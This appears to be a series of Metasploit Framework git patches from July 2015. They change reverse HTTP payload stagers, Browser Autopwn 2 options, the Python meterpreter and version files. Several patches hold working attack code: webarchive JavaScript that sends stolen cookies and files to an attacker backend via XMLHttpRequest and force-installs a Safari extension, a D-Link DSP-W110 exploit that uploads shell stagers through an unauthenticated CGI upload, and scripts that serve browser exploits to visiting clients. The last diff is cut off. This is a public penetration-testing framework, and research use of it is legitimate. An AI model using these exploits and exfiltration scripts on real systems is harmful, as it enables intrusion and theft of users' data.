bfd9d130fe..b4a88ebbae 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -27,7 +27,6 @@ module Payload::Windows::ReverseWinHttp ssl: opts[:ssl] || false, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri, retry_count: datastore['StagerRetryCount'] } @@ -42,6 +41,9 @@ module Payload::Windows::ReverseWinHttp conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] conf[:retry_count] = datastore['StagerRetryCount'] + else + # Otherwise default to small URIs + conf[:url] = generate_small_uri end generate_reverse_winhttp(conf) diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index a8f62b36da..9f168c1da6 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -50,7 +50,6 @@ module Payload::Windows::ReverseHttp_x64 ssl: opts[:ssl] || false, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri, retry_count: datastore['StagerRetryCount'] } @@ -64,6 +63,9 @@ module Payload::Windows::ReverseHttp_x64 conf[:proxy_user] = datastore['PayloadProxyUser'] conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] + else + # Otherwise default to small URIs + conf[:url] = generate_small_uri end generate_reverse_http(conf) diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index 9fe09ac40f..b43fdb3ee8 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -24,7 +24,6 @@ module Payload::Windows::ReverseWinHttp_x64 ssl: opts[:ssl] || false, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri, retry_count: datastore['StagerRetryCount'] } @@ -38,6 +37,9 @@ module Payload::Windows::ReverseWinHttp_x64 conf[:proxy_user] = datastore['PayloadProxyUser'] conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] + else + # Otherwise default to small URIs + conf[:url] = generate_small_uri end generate_reverse_winhttp(conf) From aaaf6807edd1453165dbe9fae127aedf88d10de9 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Sun, 5 Jul 2015 09:16:17 +1000 Subject: [PATCH 0653/1013] Minor indentation/space fixes --- lib/msf/core/payload/windows/reverse_http.rb | 3 +-- lib/msf/core/payload/windows/reverse_winhttp.rb | 2 +- lib/msf/core/payload/windows/x64/reverse_http.rb | 2 +- lib/msf/core/payload/windows/x64/reverse_winhttp.rb | 2 +- 4 files changed, 4 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index bd82f32e09..f29662d6fa 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -51,7 +51,6 @@ module Payload::Windows::ReverseHttp # Add extra options if we have enough space unless self.available_space.nil? || required_space > self.available_space - conf[:exitfunk] = datastore['EXITFUNC'] conf[:ua] = datastore['MeterpreterUserAgent'] conf[:proxy_host] = datastore['PayloadProxyHost'] @@ -60,7 +59,7 @@ module Payload::Windows::ReverseHttp conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] else - # Otherwise default to small URIs + # Otherwise default to small URIs conf[:url] = generate_small_uri end diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index b4a88ebbae..3d88f787c1 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -42,7 +42,7 @@ module Payload::Windows::ReverseWinHttp conf[:proxy_type] = datastore['PayloadProxyType'] conf[:retry_count] = datastore['StagerRetryCount'] else - # Otherwise default to small URIs + # Otherwise default to small URIs conf[:url] = generate_small_uri end diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 9f168c1da6..1813b9922b 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -64,7 +64,7 @@ module Payload::Windows::ReverseHttp_x64 conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] else - # Otherwise default to small URIs + # Otherwise default to small URIs conf[:url] = generate_small_uri end diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index b43fdb3ee8..572625812b 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -38,7 +38,7 @@ module Payload::Windows::ReverseWinHttp_x64 conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] else - # Otherwise default to small URIs + # Otherwise default to small URIs conf[:url] = generate_small_uri end From b577f798458f6d39e9c94296bb7ae6a1ff6e857c Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Sun, 5 Jul 2015 16:46:18 -0500 Subject: [PATCH 0654/1013] Fix some bugs in the safari file navigation module. --- lib/msf/core/format/webarchive.rb | 45 +++++++------------ .../gather/safari_file_url_navigation.rb | 10 ++--- 2 files changed, 20 insertions(+), 35 deletions(-) diff --git a/lib/msf/core/format/webarchive.rb b/lib/msf/core/format/webarchive.rb index 0db288073d..2d07bfff55 100644 --- a/lib/msf/core/format/webarchive.rb +++ b/lib/msf/core/format/webarchive.rb @@ -91,24 +91,8 @@ module Webarchive # @return [String] mark up for embedding the iframes for each URL in a place that is # invisible to the user def iframes_container_html - hidden_style = "position:fixed; left:-600px; top:-600px;" wrap_with_doc do - communication_js + injected_js_helpers + steal_files + install_extension + message - end - end - - # @return [String] javascript code, wrapped in script tags, that is inserted into the - # WebMainResource (parent) frame so that child frames can communicate "up" to the parent - # and send data out to the listener - def communication_js - wrap_with_script do - %Q| - window.addEventListener('message', function(event){ - var x = new XMLHttpRequest; - x.open('POST', '#{backend_url}#{collect_data_uri}', true); - x.send(event.data); - }); - | + injected_js_helpers + steal_files + install_extension + message end end @@ -122,23 +106,20 @@ module Webarchive raise "EXTENSION_ID datastore option missing" unless datastore['EXTENSION_ID'].present? wrap_with_script do %Q| + var qq = null; var extURL = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_URL'])}'); var extID = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_ID'])}'); function go(){ window.focus(); - window.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', 'x') + qq.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', '_self'); } - if (!window.x){ - alert(1); - window.onclick = function(){ - x = window.open('#{apple_extension_url}', 'x'); - setInterval(go, 400); - }; - } else { - setInterval(go, 400); - } - + window.addEventListener('message', function(e) { + if (!qq && e.data === 'EXT') { + qq = e.source; + setInterval(go, 3000); + } + }); | end end @@ -327,7 +308,11 @@ function reportStolenCookies() { window.sendData = function(key, val) { var data = {}; data[key] = val; - window.top.postMessage(JSON.stringify(data), "*") + + var x = new XMLHttpRequest; + x.open('POST', '#{backend_url}#{collect_data_uri}', true); + x.setRequestHeader('Content-type', 'text/plain') + x.send(JSON.stringify(data)); }; | end @@ -355,7 +340,7 @@ function reportStolenCookies() { # @return [String] HTML content that is rendered in the <body> of the webarchive. def message - "<p>You are being redirected. <a href='#'>Click here if nothing happens</a>.</p>" + "<p>You are being redirected.</p>" end # @return [Array<String>] of URLs provided by the user diff --git a/modules/auxiliary/gather/safari_file_url_navigation.rb b/modules/auxiliary/gather/safari_file_url_navigation.rb index 516eb32987..44e556096d 100644 --- a/modules/auxiliary/gather/safari_file_url_navigation.rb +++ b/modules/auxiliary/gather/safari_file_url_navigation.rb @@ -63,12 +63,12 @@ class Metasploit3 < Msf::Auxiliary begin data = JSON::parse(data_str || '') file = record_data(data, cli) - send_response_html(cli, '') + send_response(cli, '') print_good "data #{data.keys.join(',')} received and stored to #{file}" rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up file = record_data(data_str, cli) print_error "Invalid JSON stored in #{file}" - send_response_html(cli, '') + send_response(cli, '') end elsif req.uri =~ /#{popup_path}$/ send_response(cli, 200, 'OK', popup_html) @@ -131,8 +131,7 @@ class Metasploit3 < Msf::Auxiliary }, function() { opener.location = 'about:blank'; }, function() { opener.history.back(); }, - function() { }, - function() { window.location = '#{apple_extension_url}'; } + function() { if (#{datastore['INSTALL_EXTENSION']}) { opener.postMessage('EXT', '*'); window.location = '#{apple_extension_url}'; } else { window.close(); } } ) </script> @@ -317,7 +316,8 @@ class Metasploit3 < Msf::Auxiliary # @param [Hash] data the data to store in the log # @return [String] filename where we are storing the data def record_data(data, cli) - file = File.basename(data.keys.first).gsub(/[^A-Za-z]/,'') + name = if data.is_a?(Hash) then data.keys.first else 'data' end + file = File.basename(name).gsub(/[^A-Za-z]/,'') store_loot( file, "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data" ) From 60a896f58bedad39d13381b4cac0976d2296075c Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Sun, 5 Jul 2015 16:48:25 -0500 Subject: [PATCH 0655/1013] Adjust extension timeout. --- lib/msf/core/format/webarchive.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/format/webarchive.rb b/lib/msf/core/format/webarchive.rb index 2d07bfff55..7a8c3e79c9 100644 --- a/lib/msf/core/format/webarchive.rb +++ b/lib/msf/core/format/webarchive.rb @@ -117,7 +117,7 @@ module Webarchive window.addEventListener('message', function(e) { if (!qq && e.data === 'EXT') { qq = e.source; - setInterval(go, 3000); + setInterval(go, 600); } }); | From d2063c92e167fccd6b74ed912115cf3726e1ed5f Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Sun, 5 Jul 2015 18:21:45 -0500 Subject: [PATCH 0656/1013] Refactor datastore names to match standards --- lib/msf/core/exploit/browser_autopwnv2.rb | 31 ++++++++++---------- modules/auxiliary/server/browser_autopwn2.rb | 19 ++++++------ scripts/resource/bap_all.rc | 2 +- scripts/resource/bap_dryrun_only.rc | 6 ++-- scripts/resource/bap_firefox_only.rc | 4 +-- scripts/resource/bap_flash_only.rc | 4 +-- scripts/resource/bap_ie_only.rc | 4 +-- 7 files changed, 36 insertions(+), 34 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 6ece1bd36d..deb961545e 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -54,8 +54,8 @@ module Msf next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}" # The user gets to specify which modules to include/exclude - next if datastore['Include'] && fullname !~ datastore['Include'] - next if datastore['Exclude'] && fullname =~ datastore['Exclude'] + next if datastore['INCLUDE_PATTERN'] && fullname !~ datastore['INCLUDE_PATTERN'] + next if datastore['EXCLUDE_PATTERN'] && fullname =~ datastore['EXCLUDE_PATTERN'] mod = framework.exploits.create(fullname) unless mod @@ -248,7 +248,7 @@ module Msf @bap_exploits = [] bap_groups.each_pair do |ranking, module_list| module_list.each do |m| - break if @bap_exploits.length >= datastore['MaxExploits'] + break if @bap_exploits.length >= datastore['MaxExploitCount'] @bap_exploits << m end end @@ -301,7 +301,7 @@ module Msf # @return [void] def start_payload_listeners # Spawn nothing if the user doesn't want to pop sessions. - return if datastore['MaxSessions'] == 0 + return if datastore['MaxSessionCount'] == 0 # Don't repeat launching payload handlers wanted_payloads.uniq! { |e| e[:payload_name] } @@ -469,7 +469,7 @@ module Msf @wanted_payloads = [] # #split might be expensive if the file is really big - @whitelist = datastore['Whitelist'] ? datastore['Whitelist'].split : nil + @whitelist = datastore['AllowedAddresses'] ? datastore['AllowedAddresses'].split : nil print_status("Searching BES exploits, please wait...") init_exploits @@ -603,8 +603,8 @@ module Msf end end - if datastore['RealList'] - show_real_list(cli.peerhost, tag, current_exploit_list) + if datastore['ShowExploitList'] + show_exploit_list(cli.peerhost, tag, current_exploit_list) end current_exploit_list @@ -630,7 +630,7 @@ module Msf # @see #sort_bap_exploits Explains how the exploit list is generated at first. # @see #get_suitable_exploits Explains how we serve exploits to each client. # @return [void] - def show_real_list(ip, tag, current_exploit_list) + def show_exploit_list(ip, tag, current_exploit_list) order = 1 table = Rex::Ui::Text::Table.new( 'Header' => '', @@ -711,6 +711,7 @@ module Msf # # @return [Fixnum] A session count. def session_count + # TODO: Restrict these to the active workspace total = 0 payload_job_ids.each do |id| @@ -737,21 +738,21 @@ module Msf def build_html(cli, request) exploit_list = get_exploit_urls(cli, request) - if datastore['MaxSessions'] > -1 && session_count >= datastore['MaxSessions'] - print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessions']}") - if datastore['Content'].blank? + if datastore['MaxSessionCount'] > -1 && session_count >= datastore['MaxSessionCount'] + print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessionCount']}") + if datastore['HTMLContent'].blank? send_not_found(cli) return '' else - return datastore['Content'] + return datastore['HTMLContent'] end elsif exploit_list.empty? print_status("No suitable exploits to send.") - if datastore['Content'].blank? + if datastore['HTMLContent'].blank? send_not_found(cli) return '' else - return datastore['Content'] + return datastore['HTMLContent'] end end @@ -807,7 +808,7 @@ module Msf <body> </body> </html> - #{datastore['Content']}| + #{datastore['HTMLContent']}| end end diff --git a/modules/auxiliary/server/browser_autopwn2.rb b/modules/auxiliary/server/browser_autopwn2.rb index 1a09d7f176..95a70337ee 100644 --- a/modules/auxiliary/server/browser_autopwn2.rb +++ b/modules/auxiliary/server/browser_autopwn2.rb @@ -72,16 +72,17 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptRegexp.new('Include', [false, 'Pattern search to include specific modules']), - OptRegexp.new('Exclude', [false, 'Pattern search to exclude specific modules']), - OptInt.new('MaxExploits', [false, 'Number of browser exploits to load', 20]), - OptString.new('Content', [false, 'HTML Content', '']), - OptAddressRange.new('Whitelist', [false, "A range of IPs you're interested in attacking"]), - OptInt.new('MaxSessions', [false, 'Number of sessions to get', -1]), - OptBool.new('RealList', [true, "Show which exploits will actually be served to each client", false]) - ] ,self.class) + OptRegexp.new('INCLUDE_PATTERN', [false, 'Pattern search to include specific modules']), + OptRegexp.new('EXCLUDE_PATTERN', [false, 'Pattern search to exclude specific modules']) + ], self.class) - deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') + register_advanced_options([ + OptInt.new('MaxExploitCount', [false, 'Number of browser exploits to load', 20]), + OptString.new('HTMLContent', [false, 'HTML Content', '']), + OptAddressRange.new('AllowedAddresses', [false, "A range of IPs you're interested in attacking"]), + OptInt.new('MaxSessionCount', [false, 'Number of sessions to get', -1]), + OptBool.new('ShowExploitList', [true, "Show which exploits will actually be served to each client", false]) + ] ,self.class) end def get_advanced_options diff --git a/scripts/resource/bap_all.rc b/scripts/resource/bap_all.rc index 53b88fc334..6f17d516f5 100644 --- a/scripts/resource/bap_all.rc +++ b/scripts/resource/bap_all.rc @@ -1,6 +1,6 @@ <ruby> run_single("use auxiliary/server/browser_autopwn2") -run_single("set RealList true") +run_single("set ShowExploitList true") run_single("set VERBOSE true") run_single("run") </ruby> diff --git a/scripts/resource/bap_dryrun_only.rc b/scripts/resource/bap_dryrun_only.rc index 8b4d206dde..a8e6299d81 100644 --- a/scripts/resource/bap_dryrun_only.rc +++ b/scripts/resource/bap_dryrun_only.rc @@ -3,14 +3,14 @@ print_status("Starting BAP...") print_status("Exploits will not be actually served, but you will know which ones the clients might be vulnerable to.") print_status("You can do 'notes -t baps.clicks' in msfconsole to track clicks and client-specific exploit info.") run_single("use auxiliary/server/browser_autopwn2") -run_single("set RealList true") -run_single("set MaxSessions 0") +run_single("set ShowExploitList true") +run_single("set MaxSessionCount 0") # Instead of set Content, you can also do set Custom404 to redirect the client to an SE training website # For example (why don't you try this? :-) ) # run_single("set Custom404 https://www.youtube.com/watch?v=dQw4w9WgXcQ") -run_single("set Content \"Hello, this is a security test. You shouldn't have clicked on that link :-)\"") +run_single("set HTMLContent \"Hello, this is a security test. You shouldn't have clicked on that link :-)\"") run_single("run") </ruby> diff --git a/scripts/resource/bap_firefox_only.rc b/scripts/resource/bap_firefox_only.rc index d48f064d73..63b4e03f7d 100644 --- a/scripts/resource/bap_firefox_only.rc +++ b/scripts/resource/bap_firefox_only.rc @@ -2,7 +2,7 @@ print_status("Starting Browser Autopwn with Firefox-only BrowserExploitServer-based exploits.") print_status("Older Firefox exploits don't use BES, therefore will not be loaded.") run_single("use auxiliary/server/browser_autopwn2") -run_single("set Include (mozilla_firefox|firefox)_") -run_single("set RealList true") +run_single("set INCLUDE_PATTERN (mozilla_firefox|firefox)_") +run_single("set ShowExploitList true") run_single("run") </ruby> diff --git a/scripts/resource/bap_flash_only.rc b/scripts/resource/bap_flash_only.rc index c7cb25d4d2..23258602ab 100644 --- a/scripts/resource/bap_flash_only.rc +++ b/scripts/resource/bap_flash_only.rc @@ -2,7 +2,7 @@ print_status("Starting Browser Autopwn with Adobe Flash-only BrowserExploitServer-based exploits.") print_status("Older Adobe Flash exploits don't use BES, therefore will not be loaded.") run_single("use auxiliary/server/browser_autopwn2") -run_single("set Include adobe_flash") -run_single("set RealList true") +run_single("set INCLUDE_PATTERN adobe_flash") +run_single("set ShowExploitList true") run_single("run") </ruby> diff --git a/scripts/resource/bap_ie_only.rc b/scripts/resource/bap_ie_only.rc index 56840c5cbd..0e31ebf867 100644 --- a/scripts/resource/bap_ie_only.rc +++ b/scripts/resource/bap_ie_only.rc @@ -2,7 +2,7 @@ print_status("Starting Browser Autopwn with IE-only BrowserExploitServer-based exploits.") print_status("Older IE exploits don't use BES, therefore will not be loaded.") run_single("use auxiliary/server/browser_autopwn2") -run_single("set Include (ms\\\\d\\\\d_\\\\d+|ie)_") -run_single("set RealList true") +run_single("set INCLUDE_PATTERN (ms\\\\d\\\\d_\\\\d+|ie)_") +run_single("set ShowExploitList true") run_single("run") </ruby> From 31505496341dbef693dfe5c1a0bed8b9ac76b2fc Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Sun, 5 Jul 2015 19:07:10 -0500 Subject: [PATCH 0657/1013] Experimental output show/hide for BAPv2 --- lib/msf/core/exploit/browser_autopwnv2.rb | 27 ++++++++++++++++++----- 1 file changed, 22 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index deb961545e..a75b95cf02 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -63,7 +63,6 @@ module Msf next end if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) - @bap_exploits << mod end end @@ -109,6 +108,7 @@ module Msf # @return [void] def cleanup super + configure_job_output(false) clear_browser_profiles rm_exploit_jobs rm_payload_jobs @@ -337,8 +337,8 @@ module Msf # Now we're ready to start the handler multi_handler.exploit_simple( - 'LocalInput' => self.user_input, - 'LocalOutput' => self.user_output, + 'LocalInput' => nil, + 'LocalOutput' => nil, 'Payload' => payload_name, 'RunAsJob' => true ) @@ -443,8 +443,8 @@ module Msf bap_exploits.each do |m| set_exploit_options(m) m.exploit_simple( - 'LocalInput' => self.user_input, - 'LocalOutput' => self.user_output, + 'LocalInput' => nil, + 'LocalOutput' => nil, 'Target' => 0, 'Payload' => m.datastore['PAYLOAD'], 'RunAsJob' => true @@ -483,6 +483,23 @@ module Msf t2 = Time.now print_status("Time spent: #{(t2-t1).inspect}") + + configure_job_output(true) + end + + # Configures the output of sub-jobs + # + # @return [void] + def configure_job_output(on=true) + (@exploit_job_ids + @payload_job_ids).each do |jid| + job = framework.jobs[jid.to_s] + next unless job + job.ctx.each do |m| + next unless m.respond_to? :user_output + m.user_output = on ? self.user_output : nil + break + end + end end From a9edfa1b4b44a80afac3080741796b85ee4606b9 Mon Sep 17 00:00:00 2001 From: Donny Maasland <donny.maasland@fox-it.com> Date: Mon, 6 Jul 2015 13:37:36 +0200 Subject: [PATCH 0658/1013] Fix a small typo --- modules/auxiliary/gather/impersonate_ssl.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/impersonate_ssl.rb b/modules/auxiliary/gather/impersonate_ssl.rb index 5177cb5384..d6e084f9dd 100644 --- a/modules/auxiliary/gather/impersonate_ssl.rb +++ b/modules/auxiliary/gather/impersonate_ssl.rb @@ -41,7 +41,7 @@ class Metasploit4 < Msf::Auxiliary register_advanced_options( [ - OptBool.new('AlterSerial', [false, "Alter the serial number slightly to avoif FireFox serial matching", true]) + OptBool.new('AlterSerial', [false, "Alter the serial number slightly to avoid FireFox serial matching", true]) ], self.class) end From 5b6ceff339db23b06d0adc4218aa2da248c72627 Mon Sep 17 00:00:00 2001 From: Michael Messner <devnull@s3cur1ty.de> Date: Mon, 6 Jul 2015 15:00:12 +0200 Subject: [PATCH 0659/1013] mime message --- .../http/dlink_dspw110_cookie_noauth_exec.rb | 20 ++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb index ae3358f0db..62e71fd341 100644 --- a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb +++ b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb @@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote @counter = 1 execute_cmdstager( :flavor => :echo, - :linemax => 99 #limited by our upload, larger payloads crash the web server + :linemax => 95 #limited by our upload, larger payloads crash the web server ) print_status("#{peer} - creating payload and executing it ...") @@ -108,12 +108,13 @@ class Metasploit3 < Msf::Exploit::Remote #upload our stager to a shell script #upload takes quite long because there is no response from the web server - data_cmd = "------------------------------9bcdb049f0d2\r\n" - data_cmd << "Content-Disposition: form-data; name=\"name\"; filename=\"#{@counter}\"\r\n" - data_cmd << "Content-Type: application/octet-stream\r\n\r\n" - data_cmd << "#!/bin/sh\n" - data_cmd << cmd - data_cmd << "\n------------------------------9bcdb049f0d2--" + file_upload = "#!/bin/sh\n" + file_upload << cmd << "\n" + + post_data = Rex::MIME::Message.new + post_data.add_part(file_upload, nil, "binary", "form-data; name=\"xxx\"; filename=\"#{@counter}\"") + post_data.bound = "-9bcdb049f0d2--" + file = post_data.to_s @counter = @counter + 1 @@ -121,8 +122,8 @@ class Metasploit3 < Msf::Exploit::Remote send_request_cgi({ 'method' => 'POST', 'uri' => "/web_cgi.cgi?&request=UploadFile&path=/tmp/", - 'ctype' => "multipart/form-data; boundary=----------------------------9bcdb049f0d2", - 'data' => data_cmd + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => file }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") @@ -131,6 +132,7 @@ class Metasploit3 < Msf::Exploit::Remote end def execute_final_command(cmd) + fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18 begin send_request_cgi({ 'method' => 'GET', From 2a89e248d7af7a7edb53bc12e0966faf25263508 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Mon, 6 Jul 2015 11:20:34 -0400 Subject: [PATCH 0660/1013] Pymet fix send uuid logic for Python 3.x --- data/meterpreter/meterpreter.py | 5 +++-- lib/msf/core/payload/python/send_uuid.rb | 6 ++++-- modules/payloads/stages/python/meterpreter.rb | 4 ++-- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 61aeb7db7d..11847bc36b 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -1,5 +1,6 @@ #!/usr/bin/python # vim: tabstop=4 softtabstop=4 shiftwidth=4 noexpandtab +import binascii import code import os import platform @@ -66,7 +67,7 @@ DEBUGGING = False HTTP_CONNECTION_URL = None HTTP_PROXY = None HTTP_USER_AGENT = None -PAYLOAD_UUID = "" +PAYLOAD_UUID = '' SESSION_COMMUNICATION_TIMEOUT = 300 SESSION_EXPIRATION_TIMEOUT = 604800 SESSION_RETRY_TOTAL = 3600 @@ -807,7 +808,7 @@ class PythonMeterpreter(object): self.send_packet(pkt) def _core_uuid(self, request, response): - response += tlv_pack(TLV_TYPE_UUID, PAYLOAD_UUID) + response += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(PAYLOAD_UUID)) return ERROR_SUCCESS, response def _core_enumextcmd(self, request, response): diff --git a/lib/msf/core/payload/python/send_uuid.rb b/lib/msf/core/payload/python/send_uuid.rb index 2e48b7dbf0..cae6b2e84d 100644 --- a/lib/msf/core/payload/python/send_uuid.rb +++ b/lib/msf/core/payload/python/send_uuid.rb @@ -21,9 +21,11 @@ module Payload::Python::SendUUID sock_var = opts[:sock_var] || 's' uuid = opts[:uuid] || generate_payload_uuid - uuid_raw = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') + uuid_hex = Rex::Text.to_hex(uuid.to_raw, prefix = '') - "#{sock_var}.send(\"#{uuid_raw}\")\n" + uuid_stub = "import binascii\n" + uuid_stub << "#{sock_var}.send(binascii.a2b_hex('#{uuid_hex}'))\n" + uuid_stub end end diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index 3cbd9e7a52..a908ff6276 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -43,8 +43,8 @@ module Metasploit3 met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{datastore['SessionRetryWait']}") uuid = opts[:uuid] || generate_payload_uuid - bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') - met = met.sub("PAYLOAD_UUID = \"\"", "PAYLOAD_UUID = \"#{bytes}\"") + uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') + met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") met end From 174c90ccdebb64037f097cc6cbbd46c6b35dbd81 Mon Sep 17 00:00:00 2001 From: Samuel Huckins <samuel_huckins@rapid7.com> Date: Mon, 6 Jul 2015 10:28:34 -0500 Subject: [PATCH 0661/1013] Updating version to match current * This will be changed to the most recent git hash for next round, at least making accurate for now. --- lib/metasploit/framework/version.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 4591fdc847..1997dee21a 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -3,7 +3,7 @@ module Metasploit module Version MAJOR = 4 MINOR = 11 - PATCH = 0 + PATCH = 3 PRERELEASE = 'dev' end From 653c4808b20d9753290fd3d405fc5cc07d1a1c63 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 6 Jul 2015 10:42:48 -0500 Subject: [PATCH 0662/1013] update framework version spec --- Gemfile.lock | 10 +++++----- spec/lib/msf/core/framework_spec.rb | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 4d140dec18..219a800392 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.11.0.pre.dev) + metasploit-framework (4.11.3.pre.dev) actionpack (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) bcrypt @@ -20,14 +20,14 @@ PATH rubyzip (~> 1.1) sqlite3 tzinfo - metasploit-framework-db (4.11.0.pre.dev) + metasploit-framework-db (4.11.3.pre.dev) activerecord (>= 4.0.9, < 4.1.0) metasploit-credential (= 1.0.0) - metasploit-framework (= 4.11.0.pre.dev) + metasploit-framework (= 4.11.3.pre.dev) metasploit_data_models (= 1.2.5) pg (>= 0.11) - metasploit-framework-pcap (4.11.0.pre.dev) - metasploit-framework (= 4.11.0.pre.dev) + metasploit-framework-pcap (4.11.3.pre.dev) + metasploit-framework (= 4.11.3.pre.dev) network_interface (~> 0.0.1) pcaprub diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb index 3cecd9d026..4786a8508a 100644 --- a/spec/lib/msf/core/framework_spec.rb +++ b/spec/lib/msf/core/framework_spec.rb @@ -17,7 +17,7 @@ describe Msf::Framework do end describe "#version" do - CURRENT_VERSION = "4.11.0-dev" + CURRENT_VERSION = "4.11.3-dev" subject(:framework) do described_class.new From 3595a23673e92b7eb58f1e61aa7447bfb0cdbbf0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 6 Jul 2015 11:17:58 -0500 Subject: [PATCH 0663/1013] Restore #3738 --- lib/msf/core/exploit/smb/server.rb | 95 ++++++++++++++++++++++++++++-- 1 file changed, 90 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/smb/server.rb b/lib/msf/core/exploit/smb/server.rb index 3efb46ff57..2cede3c66f 100644 